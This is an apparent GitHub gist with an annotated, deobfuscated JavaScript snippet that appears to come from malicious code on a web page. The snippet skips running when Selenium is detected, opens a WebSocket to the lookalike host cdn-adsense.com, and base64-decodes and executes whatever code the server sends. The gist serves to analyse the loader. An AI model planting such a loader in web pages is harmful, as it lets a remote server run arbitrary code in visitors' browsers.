Skip to content

Instantly share code, notes, and snippets.

@krautface
Created August 2, 2020 20:58
Show Gist options
  • Save krautface/b65cb1e717038f000d4d9dfd860830ea to your computer and use it in GitHub Desktop.
Save krautface/b65cb1e717038f000d4d9dfd860830ea to your computer and use it in GitHub Desktop.
if (navigator['webdriver']) {
return // Detecting Selenium
}
var bF = new WebSocket(["wss://cdn", "-adsense", ".com", "/connection/mezget/"].join()) // wss://cdn-adsense.com/connection/mezget/
bf['onclose'] = function(a) {
a['wasClean'] // this is a boolean stating whether or not the connection was closed, but it doesn't look like anything is being done with it
}
bf['onmessage'] = function(a) {
new Function(window['atob'](a["data"]))['call'](this) // base64 decodes the message back from the server and runs it
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment